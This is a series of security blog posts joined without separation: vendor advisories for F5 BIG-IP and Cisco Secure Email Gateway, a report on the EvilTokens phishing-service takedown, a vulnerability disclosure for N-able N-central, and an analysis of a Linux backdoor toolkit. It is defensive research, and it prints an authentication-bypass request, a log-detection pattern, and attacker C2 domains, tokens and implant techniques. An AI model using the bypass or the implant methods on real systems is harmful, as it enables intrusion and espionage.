On September 22, 2026, F5 published a security advisory for CVE-2026-94127, a critical heap-based buffer overflow vulnerability affecting F5 BIG-IP Access Policy Manager (APM). The vulnerability has a CVSS v3.1 score of 9.8. An unauthenticated attacker with network access to an affected virtual server may be able to achieve remote code execution (RCE) by sending specifically crafted traffic.
BIG-IP APM provides identity-aware access control for applications and other corporate resources and can integrate with authentication technologies including OAuth, OpenID Connect, and SAML. CVE-2026-94127 is not exposed in a default configuration: exploitation requires a BIG-IP virtual server with both an APM access policy and an OAuth profile configured. Because affected BIG-IP systems may process traffic at an organization's network edge, organizations using this configuration should prioritize remediation.
The vulnerability affects the data plane and does not expose the BIG-IP control plane. BIG-IP systems operating in Appliance mode are also affected.
F5 lists the following affected release trains and corresponding fixed hotfixes:
BIG-IP 21.1.0: versions prior to Hotfix-BIGIP-21.1.0.2.0.30.22-ENG
BIG-IP 17.5.0: versions prior to Hotfix-BIGIP-17.5.1.9.0.160.12-ENG
BIG-IP 17.1.0: versions prior to Hotfix-BIGIP-17.1.3.5.0.41.14-ENG
As of September 22, 2026, CVE-2026-94127 has been added to the CISA KEV while a publicly available proof of concept was not confirmed.
Mitigation guidance
Organizations running affected F5 BIG-IP deployments should apply the appropriate F5 hotfix as soon as operationally feasible, particularly where a vulnerable APM and OAuth configuration is reachable from untrusted networks.
F5 lists the following remediation versions:
BIG-IP 21.1.0: update to Hotfix-BIGIP-21.1.0.2.0.30.22-ENG or later.
BIG-IP 17.5.0: update to Hotfix-BIGIP-17.5.1.9.0.160.12-ENG or later.
BIG-IP 17.1.0: update to Hotfix-BIGIP-17.1.3.5.0.41.14-ENG or later.
Administrators should first determine whether a BIG-IP APM access policy and an OAuth profile are configured together on a virtual server, since this configuration is required for exposure.
For organizations that cannot immediately apply the applicable update, F5 provides an iRule workaround through F5 Support. Customers should open a support case with F5 to obtain the vendor-provided workaround and follow F5's implementation guidance.
Rapid7 customers
Exposure Command, Vulnerability Management, and Nexpose
Exposure Command, Vulnerability Management, Nexpose customers can assess exposure to CVE-2026-94127 using vulnerability checks expected to be available in today’s (September 23) content release.
Microsoft, along with a group of industry partners, disrupted EvilTokens, a short-lived but highly consequential cybercrime platform that investigators linked to more than 12,000 compromised Microsoft customer email inboxes across more than 10,000 organizations globally, the company said Tuesday.
Acting on federal court order Sept. 15, Microsoft and partners seized 50 websites the phishing-as-a-service used for operations and disabled more than 175 domains linked to EvilTokens’ supporting infrastructure.
EvilTokens, launched in February 2026, was “a powerful cybercrime platform that used AI at every step of the attack chain — from compromising email accounts to designing intricate roadmaps for financial fraud and scams,” Steven Masada, associate general counsel and general manager of Microsoft’s Digital Crimes Unit, wrote in a blog post.
About 1,000 cybercriminals used EvilTokens over the course of its operation, a Microsoft spokesperson told CyberScoop.
The service was centered on an AI-style chatbot that cybercriminals used to analyze victims’ inboxes, identify trusted relationships, payment authorizations and other sensitive details that could facilitate fraud.
“AI was not simply helping attackers write more convincing messages. It helped them decide who to target, who to impersonate, and how to most effectively exploit the relationship to extract as much money as possible,” Masada wrote.
EvilTokens was one of the most widely used phishing-as-a-service platforms prior to its takedown. It facilitated business-email compromise campaigns by stealing session tokens that allowed cybercriminals to sift through a victim’s inbox and maintain persistent access.
“We cannot estimate the total fraud attributable to all EvilTokens activity. However, we were able to correlate at least 13 complaints filed with the FBI’s Internet Crime Complaint Center to EvilTokens-linked activity, representing approximately $1.7 million in reported losses,” a Microsoft spokesperson said. “Because many incidents go unreported and not all victims can be definitively linked to specific campaigns, we believe this is a conservative estimate.”
Victims of EvilTokens were largely concentrated in the United States, Canada, the United Kingdom, Australia, India and France, according to Microsoft. SpyCloud, which supported the takedown, identified compromised email domains spanning 79 countries.
Microsoft said it also identified two men behind EvilTokens — Felix Utomi and Waidi Segun Adams — and attributes the development and support of the platform to Storm-2992, a threat actor unaffiliated with any other known cybercrime groups.
The United Kingdom’s Metropolitan Police acted on that information Sept. 18 when it served warrants in the greater London area, arrested the men accused of making articles for use in fraud and money laundering and seized their digital devices.
The Metropolitan Police said it received information from Microsoft about EvilTokens’ administrators in August. Utomi and Adams were released on bail as the investigation continues.
“The two primary operators identified in our investigation were residing in the U.K.,” a spokesperson for Microsoft told CyberScoop. “While our investigation focused on those individuals, we believe others may have supported the operation in various capacities.”
Microsoft’s legal filing in the U.S. District Court for the Eastern District of Virginia refers to five additional unidentified people allegedly acting as support personnel and users.
Microsoft and others involved in the EvilTokens takedown, including Health-ISAC, Cloudflare, OpenAI, Shadowserver and TRM Labs, didn’t fully quantify how much fraud the service enabled, but it gained popularity quickly among cybercriminals and was lucrative for its operators.
Coinbase, which also aided the investigation into EvilTokens, said it traced about $1.1 million in revenue for EvilTokens from its paying customers. The virtual currency company’s threat researchers found more than 1,000 deposits to EvilTokens from more than 700 distinct addresses through June 2026.
Operators sold access to the service through Telegram for a $1,500 initiation fee and a recurring $500 subscription. EvilTokens significantly lowered the barrier to entry for cybercriminals by including specialized tools for identity attacks, cloud systems, social engineering and financial fraud in a single interface.
The service allowed cybercriminals to map organizational structure and permissions in Microsoft Graph, which enabled lateral movement, researchers said. With active tokens gained through a collection of highly-targeted phishing lures, cybercriminals consistently bypassed multi-factor authentication, email gateways and endpoint security tools.
Microsoft said the platform’s creators developed portions of the platform with AI and it uncovered capabilities from multiple AI models.
“It packaged much of the criminal process into a commercially run service, complete with subscription pricing, customer support, management dashboards and tools designed to move customers from account access toward financial exploitation,” Masada added.
The companies and organizations involved in the globally-coordinated takedown identified and notified potential victims, shared indicators of compromise and shared intelligence with law enforcement about EvilToken’s operators and some of its customers.
Experts advised organizations and employees to treat unsolicited device codes as a red flag, assume compromised accounts are fully cataloged in minutes, and independently verify requests to change payment information or redirect funds.
“The infrastructure supporting EvilTokens has been disrupted, but the model it demonstrated will not disappear with it,” Masada warned.
On September 14, 2026, Cisco published a security advisory for CVE-2026-76461, a critical SQL injection vulnerability affecting Cisco AsyncOS Software for Cisco Secure Email Gateway. The vulnerability has a reported CVSS v3.1 base score of 9.8 and could allow an unauthenticated, remote attacker to execute arbitrary commands with root privileges on an affected appliance.
Cisco Secure Email Gateway, formerly known as IronPort Email Security Appliance, is an enterprise email security product that inspects inbound and outbound email for threats including phishing, malware, spam, and business email compromise. Because affected gateways process externally delivered email as part of their normal operation, exploitation does not require access to an administrative interface or authentication. An attacker can reportedly trigger the vulnerability by sending a specially crafted email through a vulnerable gateway.
CVE-2026-76461 was added to CISA's Known Exploited Vulnerabilities (KEV) catalog on the same day as the vendor disclosed the vulnerability, indicating that CVE-2026-76461 was exploited as a zero-day prior to disclosure. Cisco noted that their PSIRT became aware of active exploitation in September 2026. At the time of publication, there is no public proof-of-concept exploit code available, and no attribution for the current threat actor activity.
Mitigation guidance
Organizations running Cisco Secure Email Gateway should prioritize upgrading to a vendor-supplied fixed version on an emergency basis, outside of normal patching cycles.
Affected Version
Fixed Version
15.5 and earlier
15.5.5-014
16.0
16.0.4-302
16.5
16.5.0-780
Given the reported active exploitation and the ability to achieve unauthenticated root-level command execution through malicious email processing, organizations should prioritize patching rather than relying solely on network controls or monitoring. Cisco also strongly recommends that customers migrate to the latest product version, 16.5.0-780.
For the latest remediation guidance, see the vendor advisory.
Indicators of compromise
The following indicators of compromise for CVE-2026-76461 were reported within the Cisco security advisory.
To confirm any attempted exploitation of this vulnerability, review the mail_logs and look for suspicious SQL statements. If the device is part of a cluster, review the logs of each cluster device. The following is a non-exhaustive example of how a malicious SQL statement could be detected in the logs:
cisco-esa> grep -i "COPY.*TO PROGRAM" [IronPort Text Mail Logs Log name - Default: mail_logs]
The presence of any entry in the output may indicate malicious activity.
Rapid7 customers
Exposure Command, InsightVM, and Nexpose
Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-76461 with a vulnerability check expected to be available in the September 16 content release.
While conducting research into a recent N-able N-central authentication bypass vulnerability (CVE-2026-18577), Rapid7 Labs discovered two new vulnerabilities affecting the latest version of N-central. When chained together, these two vulnerabilities allow a remote unauthenticated attacker to bypass authentication and create a new attacker-controlled System administrator account on an affected server.
Both CVE-2026-86206 and CVE-2026-86207 have been patched by the vendor via N-central 2026.3 Hotfix 3.
Product description
N-able N-central is an enterprise-grade Remote Monitoring and Management (RMM) platform designed for Managed Service Providers (MSPs) and IT departments to monitor, manage, and secure complex, large-scale networks from a centralized dashboard.
Credit
These vulnerabilities were discovered by Stephen Fewer, Senior Principal Security Researcher at Rapid7, and are being disclosed in accordance with Rapid7's vulnerability disclosure policy.
Technical analysis
CVE-2026-86206
N-central exposes its management interface (TCP 8443 by default) through Envoy, an edge proxy. Envoy passes accepted requests to Jetty, the Java web server that hosts N-central's application. The application gives requests from the loopback address (i.e. 127.0.0.1) more access than requests from a remote system. This design depends on Envoy, Jetty, and the N-central access filter all agreeing on which application path the client requested and whether the client is really local. The following request can make them disagree about both of these things:
POST /dms;/services/ServerUI HTTP/1.1
Forwarded: for="127.0.0.\1"
Content-Type: text/xml; charset=utf-8
SOAPAction: ""
The semicolon in the URI and backslash in the Forwarded value introduce a discrepancy when processing the request that leads to an access control bypass. Looking at Figure 1 below, we can see an overview of how these two values are processed during an incoming malicious request.
Figure 1: Processing a malicious request.
The semicolon gets the request past Envoy
The Envoy proxy rules come from the n-central-proxy-4.5.6-5 package. In /etc/opt/envoy/lds_intermediate.yaml, shown below (and edited for brevity), the management listener returns HTTP 403 for paths beginning with /dms/services or /internal/dms. A final catch-all rule sends other paths to the DMS application.
# /etc/opt/envoy/lds_intermediate.yaml:953
- match:
prefix: /internal/dms
# response-header boilerplate omitted
direct_response:
status: 403
body:
inline_string: Forbidden. No API access on the UI port.
# ...
- match:
prefix: /dms/services
# response-header boilerplate omitted
direct_response:
status: 403
body:
inline_string: Forbidden. No API access on the UI port.
# ...
# /etc/opt/envoy/lds_intermediate.yaml:1301
# A final catch-all rule...
- match:
prefix: /
route:
cluster: dms
timeout:
seconds: 300
Envoy compares those prefixes with the path it received. The path /dms;/services/ServerUI does not begin with /dms/services, because the next character after /dms is a semicolon. It therefore reaches the catch-all route, passing the request from Envoy to Jetty.
Jetty interprets the path differently. The shipped jetty-http-9.4.56.v20240826.jar contains org.eclipse.jetty.http.HttpURI, and org.eclipse.jetty.util.URIUtil. Together, these classes treat text beginning with a semicolon as a path parameter and remove it when producing the decoded path used for servlet dispatch. As a result, Jetty turns /dms;/services/ServerUI into /dms/services/ServerUI. That decoded path then matches the Axis SOAP servlet mapping in /opt/nable/webapps/ROOT/WEB-INF/web.xml.
Similarly, the same technique can be used to target the SOAP service via /internal;/dms/services2/ServerUI2. Jetty decodes it to /internal/dms/services2/ServerUI2, which matches the CXF SOAP servlet mapping. A single semicolon is sufficient to create the routing disagreement.
Reaching these servlet mappings puts the request at the protected SOAP interfaces that an exploit can leverage to establish an application session and later manage privileged objects, but the semicolon trick alone does not authorize the request. Without the crafted Forwarded header, Jetty retains the client's real remote address and N-central's ServletPathFilter denies access. Conversely, the header trick alone cannot help a request to the ordinary /dms/services/ServerUI or /internal/dms/services2/ServerUI2 path: Envoy returns HTTP 403 without forwarding that request to Jetty.
As such, an exploit needs both discrepancies; the semicolon to pass Envoy's path check and the header to pass N-central's local-request check.
The header makes the remote client look local
The Forwarded header tells an application about the original client behind a proxy. In a malicious request, the for value is quoted and contains a quoted-pair (\1):
Forwarded: for="127.0.0.\1"
Under the HTTP quoted-string grammar, the backslash escapes the following character. Jetty's ForwardedRequestCustomizer, from jetty-server-9.4.56.v20240826.jar, applies that rule. It removes the backslash, reads the value as 127.0.0.1, and exposes that value to N-central as the request's remote address.
N-central then parses the original header a second time. Its parser is in com.nable.util.LocalHostUtils, from /opt/nable/webapps/ROOT/WEB-INF/lib/dmsservice-11.0.1-SNAPSHOT.jar. This parser removes the surrounding quotes but does not remove the backslash. It therefore checks 127.0.0.\1.
That string is not a valid IP address. LocalHostUtils.xffCheck() rejects an invalid value found in X-Forwarded-For, but its Forwarded branch rejects only values that it successfully recognizes as loopback. The below (abridged) decompilation shows the relevant branch:
When given the header value 127.0.0.\1, the isLoopbackAddress() call (at [1]) returns false (at [2]) because the value is invalid. The loop therefore continues and xffCheck() returns true (at [3]). In other words, an invalid Forwarded header value causes xffCheck to fail open. The final decision occurs in com.nable.server.ServletPathFilter, shown below.
The first check asks whether a forwarding header is trying to claim a loopback address (at [4]). N-central's parser sees the invalid value 127.0.0.\1, does not recognize it as loopback, and allows it. The second check asks whether Jetty's remote address is local (at [5]). Jetty has already converted the same header value to 127.0.0.1, so this check succeeds. The filter returns true (at [6]) before consulting the normal remote-path allowlist.
CVE-2026-86207
By leveraging CVE-2026-86206 to reach the protected URI /dms/services/ServerUI, a SessionID returned by the Session.Hello SOAP operation (See the prior work by Horizon3 on leveraging the legacy SOAP API) can be generated. However, this SessionID is only a pre-login session. It proves that the request reached the local-only SOAP API via the access control bypass, but it does not yet identify an authenticated user. A separate authentication bypass vulnerability, in how legacy two-factor authentication operates, allows a pre-login session to become an authenticated session.
The method com.nable.server.ui.UserTwoFactorLogin, from dmsservice-11.0.1-SNAPSHOT.jar (shown below), binds a requested user ID (e.g. the builtin N-able Administrator account’s well known ID 1) to the session (at [1]) before it attempts legacy two-factor authentication (at [2]) . A normal authentication rejection removes that binding (at [4]), but if an exception occurs, this binding is left in place (at [3]).
N-central supports two distinct second-factor systems: legacy, profile-based authentication using an external AuthAnvil or RSA SecurID server, and native time-based one-time password (TOTP) “Two-Step Verification” using an authenticator application. Despite overlapping 2FA/MFA terminology in N-able’s documentation, com.nable.server.ui.UserTwoFactorLogin implements the former profile-based mechanism; it does not enforce the user’s native TOTP setting.
In a default installation, legacy two-factor processing raises an exception for several builtin identities used by N-central, as each of these identities lack a single legacy AuthAnvil or RSA 2FA profile association required by UserTwoFactorLogin. Specifically the following built-in identities can be leveraged via their known ID numbers.
User ID 1 (N-able Administrator)
User ID 50 (Product Administrator)
User ID 51 (N-able Support)
By creating a new pre-login session for any one of the above IDs, a SOAP call to User.TwoFactorLogin with a dummy password will achieve the authentication bypass, converting the pre-login session to a privileged SOAP session for that user. By using additional calls to the ServerUI2 SOAP endpoint, a new attacker-controlled System user account can be created.
Remediation
The vendor-supplied release of N-central 2026.3 Hotfix 3 (version 2026.3.1.13) remediates both CVE-2026-86206 and CVE-2026-86207. All versions of N-central prior to 2026.3.1.13 are vulnerable. Customers running affected on-premise N-central environments are urged to apply the latest update on an urgent basis, outside of normal patching cycles.
Customers using hosted N-central environments do not need to take action as the vendor has applied the needed updates.
Exposure Command, InsightVM and Nexpose customers will be able to assess their exposure to both CVE-2026-86206 and CVE-2026-86207, with authenticated vulnerability checks expected to be available in the September 8 content release.
Disclosure timeline
August 27, 2026: Rapid7 makes initial outreach to N-able who respond the same day.
August 28, 2026: Rapid7 provides a detailed technical analysis and exploit script to N-able, along with a proposed timeline for a coordinated disclosure.
September 5, 2026: N-able release N-central 2026.3 HF3 which fixes two of the vulnerabilities (CVE-2026-86206, CVE-2026-86207) reported by Rapid7.
September 7, 2026: Rapid7 contacts N-able requesting clarity on several issues. N-able responds the same day with requested information.
September 8, 2026: This disclosure for CVE-2026-86206 and CVE-2026-86207.
A new Linux toolkit, identified by Rapid7 Labs, has been targeting organizations across South Korea’s automotive and media industries with minimal detection. The campaign made use of a HAProxy instance named “ted backdoor”, alongside trojanized versions of crond, agetty, atd, sshd, and polkitd. This previously undocumented framework enabled threat actors to execute remote commands on compromised servers, inject malicious scripts into web traffic, perform credential harvesting, and engage in long-term surveillance.
The standout feature of this toolkit is its depth of integration with the target environment. The ted backdoor is compiled as part of the victim’s existing HAProxy version 2.8.12. It uses its native filter API, internal memory pools, event scheduler, and process management infrastructure to intercept traffic and hide from monitoring, while genuine load balancing traffic operates as expected.
Operating alongside this are an SSH keylogger, a curl-based RAT, and a stager. The RAT maintains a watchdog thread dedicated to tracking HAProxy’s health, and reporting it back to the operator’s infrastructure. The earliest uploads on VirusTotal date back to mid-2025 and the involved HAProxy 2.8.12-0fdb194was released on 22 November 2024, establishing this as the earliest possible compilation date for this build.
The toolkit is attributed with medium confidence to DPRK APTs, given that the attacks Rapid7 observed were targeting South Korean media and automotive sectors, likely aiming at long-term espionage, the usage of simple xor-based encryption, custom substitution cipher, and the list of C2s hardcoded is associated to APT37 by ThreatFox and maltrail. Analysis shows that the ted backdoor could be part of a broader framework covering nginx backdoor as well. The ted plugin registers a custom HAProxy filter that hooks the HTTP parser to inspect and log high-value traffic, steal session cookies, and perform a client IP selection to decide whether to inject custom scripts in the webpage being rendered.
Technical analysis
Rapid7 researchers revealed that the toolkit was used in campaigns targeting South Korean automotive and media sectors likely dating back to early 2025. The number of trojanized binaries and functionalities found suggest the scope could be long-term cyber espionage and surveillance. However, gathered evidence does not suffice to establish a timeline nor how the initial access was performed.
At the time of analysis, both victims were running an edge webserver with ports 80, 443, and 25 exposed. Port 443 hosted the Groupware login portal and port 25 exposed a mail server. Either surface represents a plausible initial access vector consistent with documented Kimsuky tradecraft. Since the beginning of 2026 Kimsuky has been observed exploiting RCE vulnerabilities in externally accessible mail servers to compromise South Korean groupware vendors, while Groupware web portals represent the kind of exposed authenticated application that DPRK-nexus actors have repeatedly targeted for credential harvesting and exploitation. The specific entry point and any associated CVE remain unconfirmed pending further forensic evidence.
The scenario shown in Figure 1 assumes the initial access is obtained by exploitation of CVEs related to the Groupware portal.
Figure 1: Attack chain partially reconstructed
⠀
The threat actor begins by exploiting a vulnerability in the Groupware login portal running on the edge webserver, gaining an initial foothold in the DMZ. From there, they establish persistence and harvest credentials from the compromised edge host (e.g. SSH keylogger), which also doubles as a staging server hosting the trojanized system ELFs.
With a foothold on the edge, the attacker pivots inward and drops the stager onto internal servers. The stager checks for the presence of either crond or HAProxy, and only then deploys CurlRAT retrieving it either from its data section or the edge webserver.
In parallel, ted backdoor is dropped onto the HAProxy load balancer. Once active,it establishes its own C2 channel to the external operator infrastructure, enabling data exfiltration, command execution, and script injection. On the victim side, the compromised load balancer silently redirects or serves malicious content to selected clients browsing through it, completing the watering-hole loop.
SSH keylogger
4bb923eb040aa13ca8fd409c31ee4729c60ddff32e350efe1c5a4a9168a065f5 intercepts legitimate users' plaintext passwords and saves them to an encrypted log file under /var/lib/sshd/c8c68e629bba773a10ac80012d10bf19.
Figure 2: hardcoded master passwords in userauth_passwd()
⠀
After checking that entered credentials are not equal to TA’s master passwords, userauth_passwd() proceeds to encrypt them using a custom substitution cipher recurring throughout the toolkit and base64 encoding.
Figure 3: Substitution cipher used to encrypt credentials
⠀
Pivoting from the above cipher, instances of polkitd, crond, agetty and atd binaries were identified using a similar encryption algorithm. Crond binaries were found to be delivered by a stager.
CurlRAT Stager
The stager 5db1b6d52faf60b4f32d6fd0c7c938e4d05d29a14c32ded4a9668357c08b6a91 starts by decrypting its configuration strings using a 1-byte XOR, then verifies root privileges and profiles the OS checking system hostname, OS distribution and version IDs, kernel release and version numbers and CPU architecture to select the correct payload to drop. It decrypts the trojanized crond binary in memory, overwrites the system's legitimate daemon, and restarts the service. As shown below, only if HAProxy or cron are running on the system will it proceed to drop the backdoored crond.
Figure 4: Stager configuration
⠀
Checking for HAProxy presence is done as the binary, named by TA as ted backdoor. It also has RAT capabilities and plays a major role in the campaigns described. The embedded crond versions supported are CentOS 7.7, 7.8, 7.9 and Ubuntu 22.04 and after installing the backdoor, timestomping ensures the crond binary gets the same creation timestamp of /usr/bin/ssh. The stager ends by filtering out keywords such as tmp, wget cron and crond from Linux system logs using a staging file named /tmp/jasper-log, likely to blend in as the JSP (JavaServer Pages) engine in old Apache Tomcat versions, erasing any traces of the installation. The logs affected by the selective erasure are /root/.bash_history and the following under /var/log: messages, audit/audit.log, cmd.log, secure, syslog, auth.log.
09739441ed4599bac2f8159028f772f71e4b25c8badfff95574e56d7384f3dbe and fea1bc36632c71e5a839803469ef60ac47595d36b2c50934ac109ade6df06e61 are a different variant of the stager that fetches backdoored binaries from a compromised victim’s server without embedding any payloads.
CurlRAT
The Ubuntu version is analyzed below, though CentOS samples follow the same logic except for the filepath used to hide config/staging files.
As for the stager, feeea9d0bf6ae7396d28271baa51ae50df5169ce5d32a516865856f91abc50b3 starts by decrypting configuration strings using a 1-byte XOR key (0x58).
Figure 5: curlRAT configuration
⠀
The main logic added to crond is executed via two threads. The first thread runs the start_routine function that creates the staging directory snapd under /var/lib, where it attempts to load the victim ID from /var/lib/snapd/g580. If network failures were previously recorded, it reaches out to a secondary domain – img.darklights.store – authenticating with api_token/ecd427ea8330a4ff73618483e00b9b41 and setting the User-token header to the victim ID to fetch updated configuration under /tmp/nimon.unix-docbase.8564479396043450766-db6fb4443bc, where it’s then copied into /var/lib/snapd/g105.
To decrypt the configuration, the first byte of the file initializes the seed of a feedback xor based cipher. Each poll cycle, a config file is fetched from the C2 server over HTTPS (falling back to HTTP on failure) using libcurl, with the victim token embedded in the User-token header. The fetched config is parsed for three single-character delimiters — ! terminates the credential field, # marks the payload section, and * separates arguments — after which the credential field is compared against the local victim token.
If authentication succeeds, a single-character mode byte (ASCII '0' through '5') preceding the delimiter “#” selects one of six handler routines via a jump table. Payloads embedded in the config are decoded through a two-stage pipeline: standard Base64 decoding followed by a rolling cumulative XOR cipher keyed from the decoded header. The C2 task handler sleeps for 43,200 seconds (12 hours) between polls by default, but the operator can activate a fast-poll mode by setting a flag, reducing the interval to 30 seconds. A retry loop calls the handler up to six times per cycle with five-second intervals, failing fast if the first attempt does not succeed. The table below shows the C2 commands accepted.
Mode
Function
Description
0
cmd execution
Base64 + XOR-decodes a command list from the config, executes each line via popen with stderr redirected to stdout, saves output into a 1 MB buffer, and sends the result back.
1
config write
Decodes and writes a new config payload to disk, validates it, and sets the polling interval and fast-poll flag. If the validation fails, the C2 resets to img.monderhouse.space
2
staged payload drop
Issues an authenticated HTTP POST to the C2 host with a task path as the body, streams the response to a temporary file, decompresses and moves it to the final drop path, unlinking the temp.
3
reverse shell
Closes all file descriptors above 2, calls setuid(0) and setreuid(0, 0), forcing both its real and effective user IDs to root, and connects out before handing off to the shell dispatcher.
4
beacon
Populates a 10 KB system-info structure and transmits it as a check-in beacon.
5
PTY shell
A full interactive PTY shell, the payload consists of an ip:port.
Modes 0–2 and 4 use libcurl-based HTTP/HTTPS, hence the name curlRAT. All modes use Base64+XOR encoding/decoding applied to the payload. The victim ID is obtained by concatenating "cron_3.0pl1-137ubuntu3", system hostname, ipv4 address, and the hardware/OS UUID (read from /sys/class/dmi/id/product_uuid), then applying MD5 hash and converting it to uppercase.
The layer of encryption used for all C2 interactions consists of a feedback xor cipher using an initial random seed (modulo 240 + 10, 0<=seed<=249) and then applying Base64 encoding. The malware encapsulates the encrypted and encoded payload, the service name, and the telemetry type into a formatted application/x-www-form-urlencoded HTTP POST body (name=%s&value=%s&type=%d) which is sent to the C2 and authenticated using an hardcoded API token, including the victim ID in the User-token header.
The second thread acts as the HAProxy watchdog. Before entering the monitoring loop, it checks for the presence of the file /usr/lib/libvirtlog.so.0 to ensure the target is running in a virtualized environment, otherwise it sleeps 6 minutes and aborts. Then it accesses the MD5 victim ID under /var/lib/snapd/g580 to check if the node is active and compromised. Every hour the watchdog reads the pid at /var/run/haproxy.pid and monitors the status of HAProxy by polling /proc/pid. The status can be one of the following codes:
0 (Started): Process transitioned from stopped to running
1 (Stopped): Process is no longer active in the kernel process table
2 (Restarted): PID file timestamp modified, and a new PID is detected
3 (Reloaded): PID file timestamp modified, but the PID remained identical
The status is then sent to the C2 endpoint “writeservice_info” using the custom crypto layer and the telemetry type set to 0 (Figure 6).
Figure 6: writeinfo_service monitoring HAProxy status
⠀
The CentOS versions of curlRAT contain the same functionalities, except that functions are masqueraded as atd_ routines to blend in during static analysis.
Figure 7: The two threads running curlRAT logic
⠀
Below is the table summarizing the main RAT components.
The atd_get_info() is a recon routine likely used to decide which binary trojanized next to ensure persistence on the node. It collects the service name of the compromised machine and sends it to the C2 via the atd_response routine together with Ipv4 address, OS version, and the list of services and listening port (Figure 9).
Figure 9: Recon module output sent to the C2
⠀
MODE, DELAY and SERVER_URL are parsed from the config file discussed previously. During the campaign observed by Rapid7, the RAT acts as a framework and constitutes the codebase to edit legitimate system daemons. Other trojanized instances found are agetty and polkitd, where we identified a similar pattern lacking the HAProxy monitor: the creation of a thread to run curlRAT, reaching to img.worksongo.store and img.socialteams.store respectively.
atd_encrypt_url and atd_decrypt_url leverages the substitution cipher “E1x0X3f2R5w4g7u6D968kAeCdBPEpDhGJF4IiHHKzJvMtLlOnNcQmPNSjR2UFTUWOVTYIXZZ5aWcQbbeqd7gYf3i8hykGjCmsl9oonrqSp0sVrauKtLwAvBy1xMz=.#,+/--__" shared with the ssh keylogger.
Ted backdoor
The TA recompiled the HAProxy build 2.8.12 72e70936f0dbe459142a1d867617c35f8d0cce5d18c6a49e1090a2a5adc8e558 (18MB) to include a custom plugin (named ted_plugin) leaving debug strings naming the backdoor.
Figure 10: ted_plugin compiled as part of the source code
⠀
Figure 10 shows that the plugin was directly compiled with the rest of HAProxy source code and hooks directly the built-in HTTP parser relying on internal HAProxy structure for searching HTTP request headers.The custom filter defined to capture traffic is loaded via the ted_load_filter_config routine.
Figure 11: my_filter_config struct
⠀
The routine reads the implant's operational configuration from ~/cache/haproxy-1000.cache. Each field is decrypted in two layers: first ngx_decode applies a chained XOR seeded by the file's first byte; then ngx_decrypt_script applies a monoalphabetic substitution whose 67-entry mapping table is built at startup in ted_init_util from “E1x0X3f2R5w4g7u6D968kAeCdBPEpDhGJF4IiHHKzJvMtLlOnNcQmPNSjR2UFTUWOVTYIXZZ5aWcQbbeqd7gYf3i8hykGjCmsl9oonrqSp0sVrauKtLwAvBy1xMz=.#,+/--__" , and held in the ted_dec_dict uthash table keyed by Jenkins hash for O(1) lookup. The config carries the operating mode, all targeting regexes, every script rule with its payload paths and filenames, and the allowed operator keys. IP-based access control lists are loaded from haproxy-1001.cache and haproxy-1002.cache via the same decryption scheme. In other ted backdoor samples, the my_filter_config struct includes regexes to capture cookies as well.
After loading its configuration, it sets up signal handling via ted_register_reload_signal_handler() and saves its C2 pipe under HAPROXY_MWORKER_PP_READ and HAPROXY_MWORKER_PP_WRITE environmental variables to survive reloads and restarts, saving child process activity via ted_extra_log().
Below is the list of functions defined by the ted_plugin:
trace_chn_start_analyze() is hooked via ted_chn_analyze_for_htx_constprop_0() that parses the HTX buffer — the memory region where HAProxy stores parsed, SSL-decrypted HTTP request. If an incoming request matches the endpoint "/favorite_list_2x_m500_ico.jpg" (Figure 13), the malware drops into a Command & Control mode, setting the field flag to 1 in the ted_rep_state structure that tracks the response state.
⠀
Figure 13: Dropping into C2 mode
⠀
First, it reaches into HAProxy's internal counters to decrement active connection stats, referencing fields from the proxy struct via hardcoded 2.8.12 offsets to clear any trace left: the per-backend beconn/feconn and the global actconn, then 64-bit fields within be_counters (cum_conn, cum_req, bytes_in, bytes_out) guarded against underflow, and 32-bit peak metrics (sps_max, conn_max, cps_max) decremented only when exactly 1. Secondly, it parses a custom hardcoded 14-byte header to obtain the payload length, then creates FIFO pipes via ted_make_pipe_name and ted_create_multi_pipe_file keyed on HAProxy's connection ID under /tmp (e.g. /tmp/t[ID]_w.pipe). If HAProxy is running in master-worker mode (MODE_MWORKER, bit 0x80), the connection ID is written to the pp_w2m pipe so the master process runs the dispatcher; otherwise a detached thread runs ted_pipe_worker_thread locally (Figure 13).
The HTX walk filters on block type 4, which is HTX_BLK_DATA, and writes each block straight into fdPipe with write(). Any short write aborts and closes the pipe. Afterwards to_forward, output, buf.head and buf.data on the request channel are all zeroed. That tells HAProxy there is nothing left to forward, so the attacker's command body never reaches a backend server. The C2 request terminates at the load balancer, and no backend ever logs it.
The C2 dispatcher logic is resumed in the table below.
Command
Description
Opcode '0' (0x30)
Beacon: returns a version banner including build ID (24112201), HAProxy version (2.8.12-0fdb194), master-worker mode status, and chroot path.
Opcode '1' (0x31)
File upload: resolves path via ted_build_correct_path, writes file content via fopen(path, "wb"), and replies 1. Used to upload payload files for the injection path.
Opcode '2' (0x32)
File download: reads a path, stats it, writes the 8-byte size, and streams the contents back with EAGAIN handling.
Opcode '3' (0x33)
Command execution: executes commands via popen; merges stdout/stderr, appends " 2>&1", and streams output back XOR-encrypted.
Opcode '9' (0x39)
Config update: writes new config to ~/cache/haproxy-1000.cache.bak, re-encrypts using chained XOR, validates via ted_load_filter_config, and renames over the active config file if successful.
All five handlers write the same “HTTP/1.0 200 OK” header with Content-Type: text/html into the read pipe before the body. That's what the response task then relays out via send() on the raw socket, which is why the traffic looks like an ordinary HTTP response on the wire despite never passing through HAProxy's response path. Output back to the operator uses a rolling XOR cipher where each plaintext block is the key used to encrypt the next block with a random 1-byte seed.
If the initial endpoint check does not match "/favorite_list_2x_m500_ico.jpg" and the filter is in capture mode, then traffic is selectively logged and victims are identified based on the capturelist_set field within the my_filter_config struct (Figure 11), containing the list of targeted IPs and subnets. It uses regular expressions to filter the incoming HTTP traffic, waiting for high-value requests (like a user hitting a /login endpoint or an admin panel).
When a victim's request matches the attacker's filters, the backdoor goes to work.
It extracts the victim's source IP, the requested Host, the Referer, and the User-Agent formatting the data in a single-line record using exclamation marks as separators.
Figure 14: Real-time capturing of selected HTTP headers matching specific regexes
⠀
The execution flow continues based on conf->action; zero means passive logging only, non-zero starts the injection path. A request then has to clear four conditions. It needs a User-Agent, and if agent_pattern is configured that regex has to match. Second, the code scans the User-Agent for the bytes x,6,4, it selects between the two payload paths the matched rule retrieving them ted_script_config struct (path_32 at offset 0x18 and path_64 at 0x20). Third, the script rule list is walked until one ted_script_config entry's URL and referer regexes both match, with a null referer counting as an automatic pass. Thus the operator catches a victim arriving at a specific page from a specific referrer, rather than spraying at everyone hitting a URL.
⠀
Figure 15: Custom ted structure defined to inject malicious code in the page, and store regex rules and the connection context
⠀
